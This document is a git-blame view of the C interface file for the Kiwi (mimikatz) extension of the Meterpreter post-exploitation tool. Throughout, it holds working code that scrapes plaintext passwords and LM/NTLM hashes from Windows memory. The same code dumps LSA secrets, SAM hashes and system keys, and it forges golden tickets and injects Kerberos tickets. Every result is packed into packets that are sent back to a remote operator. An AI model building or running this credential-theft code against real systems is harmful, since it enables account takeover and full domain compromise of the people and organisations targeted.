2014-01-10 16:51:51 +10:00
|
|
|
#include "main.h"
|
|
|
|
#include "mimikatz_interface.h"
|
|
|
|
#include <NTSecAPI.h>
|
|
|
|
|
2014-03-14 19:51:35 +10:00
|
|
|
// dirty hackes to get things to build
|
|
|
|
// copied from crypto_system
|
|
|
|
#define MD4_DIGEST_LENGTH 16
|
|
|
|
#define MD5_DIGEST_LENGTH 16
|
|
|
|
#define SHA_DIGEST_LENGTH 20
|
|
|
|
// copied from globals
|
|
|
|
#define LM_NTLM_HASH_LENGTH 16
|
2014-03-19 14:26:55 +10:00
|
|
|
#define TIME_SIZE 28
|
2014-03-14 19:51:35 +10:00
|
|
|
|
|
|
|
#include "modules\kuhl_m_lsadump_struct.h"
|
2014-03-19 14:26:55 +10:00
|
|
|
#include "modules\kerberos\khul_m_kerberos_struct.h"
|
2014-03-14 19:51:35 +10:00
|
|
|
|
2014-01-10 16:51:51 +10:00
|
|
|
typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData);
|
|
|
|
typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
|
|
|
|
extern LONG kuhl_m_sekurlsa_all_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
extern LONG kuhl_m_sekurlsa_wdigest_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
extern LONG kuhl_m_sekurlsa_msv_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
extern LONG kuhl_m_sekurlsa_kerberos_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
extern LONG kuhl_m_sekurlsa_tspkg_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
extern LONG kuhl_m_sekurlsa_livessp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
|
|
|
extern LONG kuhl_m_sekurlsa_ssp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
|
2014-03-14 19:51:35 +10:00
|
|
|
extern LONG kuhl_m_lsadump_full(PLSA_CALLBACK_CTX callbackCtx);
|
2014-03-19 14:26:55 +10:00
|
|
|
extern LONG kuhl_m_kerberos_list_tickets(PKERB_CALLBACK_CTX callbackCtx, BOOL bExport);
|
2014-01-10 16:51:51 +10:00
|
|
|
extern LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize);
|
|
|
|
extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize);
|
2014-03-19 14:26:55 +10:00
|
|
|
extern LONG kuhl_m_kerberos_purge_ticket();
|
2014-01-10 16:51:51 +10:00
|
|
|
|
2014-03-14 19:51:35 +10:00
|
|
|
BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
|
|
|
|
{
|
|
|
|
UNICODE_STRING candidateString = { (USHORT)dwBytes, (USHORT)dwBytes, (PWSTR)pSecret };
|
|
|
|
int unicodeTestFlags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
|
|
|
|
return pSecret && IsTextUnicode(candidateString.Buffer, candidateString.Length, &unicodeTestFlags);
|
|
|
|
}
|
2014-01-10 16:51:51 +10:00
|
|
|
|
|
|
|
void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain,
|
|
|
|
IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData)
|
|
|
|
{
|
|
|
|
UINT hi = 0;
|
|
|
|
UINT lo = 0;
|
|
|
|
|
2014-03-14 19:51:35 +10:00
|
|
|
DWORD count = 0;
|
2014-01-10 16:51:51 +10:00
|
|
|
Tlv entries[7];
|
|
|
|
Packet* packet = (Packet*)pvData;
|
|
|
|
|
|
|
|
ZeroMemory(&entries[0], sizeof(entries));
|
|
|
|
|
|
|
|
if (username != NULL && username->Buffer != NULL && username->Length > 0)
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] Adding username %u chars", username->Length);
|
2014-03-14 19:51:35 +10:00
|
|
|
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
if (domain != NULL && domain->Buffer != NULL && domain->Length > 0)
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] Adding domain %u chars", domain->Length);
|
2014-03-14 19:51:35 +10:00
|
|
|
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
if (password != NULL && password->Buffer != NULL && password->Length > 0)
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] Adding password %u chars", password->Length);
|
2014-03-14 19:51:35 +10:00
|
|
|
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
dprintf("[KIWI] Adding auth info");
|
2014-03-14 19:51:35 +10:00
|
|
|
entries[count].header.length = sizeof(UINT);
|
|
|
|
entries[count].header.type = TLV_TYPE_KIWI_PWD_AUTH_HI;
|
|
|
|
entries[count].buffer = (PUCHAR)&hi;
|
|
|
|
++count;
|
|
|
|
|
|
|
|
entries[count].header.length = sizeof(UINT);
|
|
|
|
entries[count].header.type = TLV_TYPE_KIWI_PWD_AUTH_LO;
|
|
|
|
entries[count].buffer = (PUCHAR)&lo;
|
|
|
|
++count;
|
2014-01-10 16:51:51 +10:00
|
|
|
|
|
|
|
if (luid != NULL)
|
|
|
|
{
|
|
|
|
hi = htonl((UINT)luid->HighPart);
|
|
|
|
lo = htonl((UINT)luid->LowPart);
|
|
|
|
}
|
|
|
|
|
|
|
|
// 16 bytes long
|
|
|
|
if (lm != NULL)
|
|
|
|
{
|
2014-03-14 19:51:35 +10:00
|
|
|
dprintf("[KIWI] Adding lm hash");
|
|
|
|
entries[count].header.length = 16;
|
|
|
|
entries[count].header.type = TLV_TYPE_KIWI_PWD_LMHASH;
|
|
|
|
entries[count].buffer = (PUCHAR)lm;
|
|
|
|
++count;
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
// 16 bytes long
|
|
|
|
if (ntlm != NULL)
|
|
|
|
{
|
2014-03-14 19:51:35 +10:00
|
|
|
dprintf("[KIWI] Adding ntlm hash");
|
|
|
|
entries[count].header.length = 16;
|
|
|
|
entries[count].header.type = TLV_TYPE_KIWI_PWD_NTLMHASH;
|
|
|
|
entries[count].buffer = (PUCHAR)ntlm;
|
|
|
|
++count;
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
dprintf("[KIWI] Adding to packet");
|
2014-03-14 19:51:35 +10:00
|
|
|
packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet)
|
|
|
|
{
|
|
|
|
switch (cmdId)
|
|
|
|
{
|
|
|
|
case KIWI_PWD_ID_SEK_ALLPASS:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running all pass");
|
|
|
|
return kuhl_m_sekurlsa_all_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_WDIGEST:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running wdigest");
|
|
|
|
return kuhl_m_sekurlsa_wdigest_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_MSV:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running msv");
|
|
|
|
return kuhl_m_sekurlsa_msv_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_KERBEROS:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running kerberos");
|
|
|
|
return kuhl_m_sekurlsa_kerberos_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_TSPKG:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running tspkg");
|
|
|
|
return kuhl_m_sekurlsa_tspkg_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_LIVESSP:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running livessp");
|
|
|
|
return kuhl_m_sekurlsa_livessp_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_SSP:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running ssp");
|
|
|
|
return kuhl_m_sekurlsa_ssp_enum(handle_result, packet);
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_TICKETS:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running tickets");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
case KIWI_PWD_ID_SEK_DPAPI:
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] running dpapi");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return ERROR_INVALID_PARAMETER;
|
|
|
|
}
|
|
|
|
|
|
|
|
wchar_t* ascii_to_wide_string(char* ascii)
|
|
|
|
{
|
|
|
|
size_t requiredChars = strlen(ascii) + 1;
|
|
|
|
wchar_t* buffer = (wchar_t*)calloc(requiredChars, sizeof(wchar_t));
|
|
|
|
|
|
|
|
if (buffer != NULL)
|
|
|
|
{
|
|
|
|
swprintf_s(buffer, requiredChars, L"%S", ascii);
|
|
|
|
}
|
|
|
|
return buffer;
|
|
|
|
}
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE])
|
|
|
|
{
|
|
|
|
SYSTEMTIME st;
|
|
|
|
PFILETIME pTime = (PFILETIME)&time;
|
|
|
|
|
|
|
|
ZeroMemory(output, TIME_SIZE);
|
|
|
|
|
|
|
|
FileTimeToSystemTime(pTime, &st);
|
|
|
|
sprintf_s(output, TIME_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
|
|
|
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket)
|
|
|
|
{
|
|
|
|
Packet* packet = (Packet*)lpContext;
|
|
|
|
|
|
|
|
Tlv entries[10];
|
|
|
|
DWORD dwCount = 0;
|
|
|
|
UINT uEncType = htonl(pKerbTicketInfo->EncryptionType);
|
|
|
|
UINT uFlags = htonl(pKerbTicketInfo->TicketFlags);
|
|
|
|
char sStart[TIME_SIZE], sEnd[TIME_SIZE], sMaxRenew[TIME_SIZE];
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding ticket to result");
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Converting times");
|
|
|
|
to_system_time_string(pKerbTicketInfo->StartTime, sStart);
|
|
|
|
to_system_time_string(pKerbTicketInfo->EndTime, sEnd);
|
|
|
|
to_system_time_string(pKerbTicketInfo->RenewTime, sMaxRenew);
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding enc type");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_ENCTYPE;
|
|
|
|
entries[dwCount].header.length = sizeof(UINT);
|
|
|
|
entries[dwCount].buffer = (PUCHAR)&uEncType;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding flags");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_FLAGS;
|
|
|
|
entries[dwCount].header.length = sizeof(UINT);
|
|
|
|
entries[dwCount].buffer = (PUCHAR)&uFlags;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding start time");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_START;
|
|
|
|
entries[dwCount].header.length = (DWORD)strlen(sStart);
|
|
|
|
entries[dwCount].buffer = (PUCHAR)sStart;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding end time");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_END;
|
|
|
|
entries[dwCount].header.length = (DWORD)strlen(sEnd);
|
|
|
|
entries[dwCount].buffer = (PUCHAR)sEnd;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding max renew time");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_MAXRENEW;
|
|
|
|
entries[dwCount].header.length = (DWORD)strlen(sMaxRenew);
|
|
|
|
entries[dwCount].buffer = (PUCHAR)sMaxRenew;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
dprintf("[KIWI KERB] Adding server name");
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_SERVERNAME, pKerbTicketInfo->ServerName.Buffer, pKerbTicketInfo->ServerName.Length / sizeof(wchar_t));
|
|
|
|
dprintf("[KIWI KERB] Adding server realm");
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_SERVERREALM, pKerbTicketInfo->ServerRealm.Buffer, pKerbTicketInfo->ServerRealm.Length / sizeof(wchar_t));
|
|
|
|
dprintf("[KIWI KERB] Adding client name");
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME, pKerbTicketInfo->ClientName.Buffer, pKerbTicketInfo->ClientName.Length / sizeof(wchar_t));
|
|
|
|
dprintf("[KIWI KERB] Adding client realm");
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM, pKerbTicketInfo->ClientRealm.Buffer, pKerbTicketInfo->ClientRealm.Length / sizeof(wchar_t));
|
|
|
|
|
|
|
|
if (pExternalTicket)
|
|
|
|
{
|
|
|
|
dprintf("[KIWI KERB] Adding raw ticket");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_RAW;
|
|
|
|
entries[dwCount].header.length = pExternalTicket->EncodedTicketSize;
|
|
|
|
entries[dwCount].buffer = pExternalTicket->EncodedTicket;
|
|
|
|
++dwCount;
|
|
|
|
}
|
|
|
|
|
|
|
|
packet_add_tlv_group(packet, TLV_TYPE_KIWI_KERB_TKT, entries, dwCount);
|
|
|
|
}
|
|
|
|
|
|
|
|
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response)
|
|
|
|
{
|
|
|
|
KERB_CALLBACK_CTX callbackCtx;
|
|
|
|
|
|
|
|
callbackCtx.lpContext = response;
|
|
|
|
callbackCtx.pTicketHandler = TicketHandler;
|
|
|
|
|
|
|
|
return kuhl_m_kerberos_list_tickets(&callbackCtx, bExport);
|
|
|
|
}
|
|
|
|
|
|
|
|
DWORD mimikatz_kerberos_ticket_purge()
|
|
|
|
{
|
|
|
|
return kuhl_m_kerberos_purge_ticket();
|
|
|
|
}
|
|
|
|
|
|
|
|
DWORD mimikatz_kerberos_golden_ticket_create(char* user, char* domain, char* sid, char* tgt, Packet* response)
|
2014-01-10 16:51:51 +10:00
|
|
|
{
|
|
|
|
DWORD result = 0;
|
|
|
|
BYTE* ticketBuffer;
|
|
|
|
DWORD ticketBufferSize;
|
|
|
|
wchar_t* wUser = ascii_to_wide_string(user);
|
|
|
|
wchar_t* wDomain = ascii_to_wide_string(domain);
|
|
|
|
wchar_t* wSid = ascii_to_wide_string(sid);
|
|
|
|
wchar_t* wTgt = ascii_to_wide_string(tgt);
|
|
|
|
|
|
|
|
do
|
|
|
|
{
|
|
|
|
if (!wUser || !wDomain || !wSid || !wTgt)
|
|
|
|
{
|
|
|
|
dprintf("[MIMIKTAZ] Out of memory");
|
|
|
|
result = ERROR_NOT_ENOUGH_MEMORY;
|
|
|
|
}
|
|
|
|
|
|
|
|
result = kuhl_m_kerberos_create_golden_ticket(wUser, wDomain, wSid, wTgt, &ticketBuffer, &ticketBufferSize);
|
|
|
|
if (result != ERROR_SUCCESS)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
packet_add_tlv_raw(response, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize);
|
2014-01-10 16:51:51 +10:00
|
|
|
} while (0);
|
|
|
|
|
|
|
|
if (wUser)
|
|
|
|
{
|
|
|
|
free(wUser);
|
|
|
|
}
|
|
|
|
if (wDomain)
|
|
|
|
{
|
|
|
|
free(wDomain);
|
|
|
|
}
|
|
|
|
if (wSid)
|
|
|
|
{
|
|
|
|
free(wSid);
|
|
|
|
}
|
|
|
|
if (wTgt)
|
|
|
|
{
|
|
|
|
free(wTgt);
|
|
|
|
}
|
|
|
|
|
|
|
|
return result;
|
|
|
|
}
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize)
|
2014-01-10 16:51:51 +10:00
|
|
|
{
|
|
|
|
return kuhl_m_kerberos_use_ticket(buffer, bufferSize);
|
2014-03-14 19:51:35 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor)
|
|
|
|
{
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
|
|
|
|
dprintf("[KIWI LSA] Version: %u.%u", usMajor, usMinor);
|
|
|
|
|
|
|
|
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MAJ, (UINT)usMajor);
|
|
|
|
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MIN, (UINT)usMinor);
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID Nt5KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey)
|
|
|
|
{
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
dprintf("[KIWI LSA] nt5 Key");
|
|
|
|
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_NT5KEY, pSysKey->key, sizeof(NT5_SYSTEM_KEY));
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey)
|
|
|
|
{
|
|
|
|
Tlv entities[3];
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
UINT uKeySize = htonl(pSysKey->KeySize);
|
|
|
|
|
|
|
|
dprintf("[KIWI LSA] nt6 Key");
|
|
|
|
|
|
|
|
dwIndex = htonl(dwIndex);
|
|
|
|
entities[0].header.type = TLV_TYPE_KIWI_LSA_KEYIDX;
|
|
|
|
entities[0].header.length = sizeof(UINT);
|
|
|
|
entities[0].buffer = (PUCHAR)&dwIndex;
|
|
|
|
|
|
|
|
entities[1].header.type = TLV_TYPE_KIWI_LSA_KEYID;
|
|
|
|
entities[1].header.length = sizeof(GUID);
|
|
|
|
entities[1].buffer = (PUCHAR)&pSysKey->KeyId;
|
|
|
|
|
|
|
|
entities[2].header.type = TLV_TYPE_KIWI_LSA_KEYVALUE;
|
|
|
|
entities[2].header.length = pSysKey->KeySize;
|
|
|
|
entities[2].buffer = (PUCHAR)pSysKey->Key;
|
|
|
|
|
|
|
|
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_NT6KEY, entities, 3);
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID Nt6KeyStreamHandler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream)
|
|
|
|
{
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
dprintf("[KIWI LSA] nt6 Key stream: %u keys", pSysKeyStream->nbKeys);
|
|
|
|
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_KEYCOUNT, pSysKeyStream->nbKeys);
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID CompNameHandler(LPVOID lpContext, wchar_t* lpwComputerName)
|
|
|
|
{
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
dprintf("[KIWI LSA] Computer Name: %S", lpwComputerName);
|
|
|
|
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_LSA_COMPNAME, lpwComputerName);
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID SysKeyHandler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen)
|
|
|
|
{
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
dprintf("[KIWI LSA] SysKey: %u bytes", dwKeyLen);
|
|
|
|
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_SYSKEY, pKey, dwKeyLen);
|
|
|
|
}
|
|
|
|
|
|
|
|
VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize)
|
|
|
|
{
|
|
|
|
Tlv entries[5];
|
|
|
|
DWORD dwCount = 0;
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
dprintf("[KIWI LSA] Handling secret: %S", lpwSecretName);
|
|
|
|
|
|
|
|
// don't bother with the entry if we don't have data for it
|
|
|
|
if (!pCurrent && !pOld)
|
|
|
|
{
|
|
|
|
dprintf("[KIWI LSA] Secret has no data: %S", lpwSecretName);
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0);
|
|
|
|
|
|
|
|
if (lpwServiceInfo)
|
|
|
|
{
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_SERV, lpwServiceInfo, 0);
|
|
|
|
}
|
|
|
|
|
|
|
|
if (pMd4Digest)
|
|
|
|
{
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_NTLM;
|
|
|
|
entries[dwCount].header.length = MD4_DIGEST_LENGTH;
|
|
|
|
entries[dwCount].buffer = (PUCHAR)pMd4Digest;
|
|
|
|
++dwCount;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (pCurrent)
|
|
|
|
{
|
|
|
|
if (is_unicode_string(dwCurrentSize, pCurrent))
|
|
|
|
{
|
|
|
|
dprintf("[KIWI LSA] current text");
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount], TLV_TYPE_KIWI_LSA_SECRET_CURR, (LPCWSTR)pCurrent, dwCurrentSize / sizeof(wchar_t));
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
dprintf("[KIWI LSA] current raw");
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW;
|
|
|
|
entries[dwCount].header.length = dwCurrentSize;
|
|
|
|
entries[dwCount].buffer = (PUCHAR)pCurrent;
|
|
|
|
}
|
|
|
|
++dwCount;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (pOld)
|
|
|
|
{
|
|
|
|
if (is_unicode_string(dwOldSize, pOld))
|
|
|
|
{
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount], TLV_TYPE_KIWI_LSA_SECRET_OLD, (LPCWSTR)pOld, dwCurrentSize / sizeof(wchar_t));
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW;
|
|
|
|
entries[dwCount].header.length = dwOldSize;
|
|
|
|
entries[dwCount].buffer = (PUCHAR)pOld;
|
|
|
|
}
|
|
|
|
++dwCount;
|
|
|
|
}
|
|
|
|
|
|
|
|
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SECRET, entries, dwCount);
|
|
|
|
}
|
|
|
|
|
2014-03-18 09:50:48 +10:00
|
|
|
VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUserLength, BOOL hasLmHash, BYTE lmHash[LM_NTLM_HASH_LENGTH], BOOL hasNtlmHash, BYTE ntlmHash[LM_NTLM_HASH_LENGTH])
|
|
|
|
{
|
|
|
|
Tlv entries[4];
|
|
|
|
DWORD dwCount = 0;
|
|
|
|
Packet *response = (Packet*)lpContext;
|
|
|
|
dprintf("[KIWI SAM] HERE!");
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
if ((hasLmHash || hasNtlmHash) && lpwUser)
|
2014-03-18 09:50:48 +10:00
|
|
|
{
|
|
|
|
dprintf("[KIWI SAM] Adding %S rid %u (%x)", lpwUser, dwRid, dwRid);
|
|
|
|
|
|
|
|
dwRid = htonl(dwRid);
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SAM_RID;
|
|
|
|
entries[dwCount].header.length = sizeof(DWORD);
|
|
|
|
entries[dwCount].buffer = (PUCHAR)&dwRid;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SAM_USER, lpwUser, dwUserLength);
|
|
|
|
|
|
|
|
if (hasLmHash)
|
|
|
|
{
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SAM_LMHASH;
|
|
|
|
entries[dwCount].header.length = LM_NTLM_HASH_LENGTH;
|
|
|
|
entries[dwCount].buffer = (PUCHAR)lmHash;
|
|
|
|
++dwCount;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (hasNtlmHash)
|
|
|
|
{
|
|
|
|
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SAM_NTLMHASH;
|
|
|
|
entries[dwCount].header.length = LM_NTLM_HASH_LENGTH;
|
|
|
|
entries[dwCount].buffer = (PUCHAR)ntlmHash;
|
|
|
|
++dwCount;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SAM, entries, dwCount);
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
dprintf("[KIWI SAM] Ignoring %S, no hashes given");
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2014-03-14 19:51:35 +10:00
|
|
|
DWORD mimikatz_lsa_dump_secrets(Packet* response)
|
|
|
|
{
|
|
|
|
LSA_CALLBACK_CTX callbackCtx;
|
|
|
|
ZeroMemory(&callbackCtx, sizeof(callbackCtx));
|
|
|
|
|
|
|
|
// we want the context to be the packet, so that elements
|
|
|
|
// can be added directly to the packet
|
|
|
|
callbackCtx.lpContext = response;
|
|
|
|
callbackCtx.pCompNameHandler = CompNameHandler;
|
|
|
|
callbackCtx.pSysKeyHandler = SysKeyHandler;
|
|
|
|
callbackCtx.pPolicyVersionHandler = PolicyVersionHandler;
|
|
|
|
callbackCtx.pNt6KeyStreamHandler = Nt6KeyStreamHandler;
|
|
|
|
callbackCtx.pNt6KeyHandler = Nt6KeyHandler;
|
|
|
|
callbackCtx.pNt5KeyHandler = Nt5KeyHandler;
|
|
|
|
callbackCtx.pSecretHandler = SecretHandler;
|
2014-03-18 09:50:48 +10:00
|
|
|
callbackCtx.pSamHashHandler = SamHashHandler;
|
2014-03-14 19:51:35 +10:00
|
|
|
|
|
|
|
return kuhl_m_lsadump_full(&callbackCtx);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|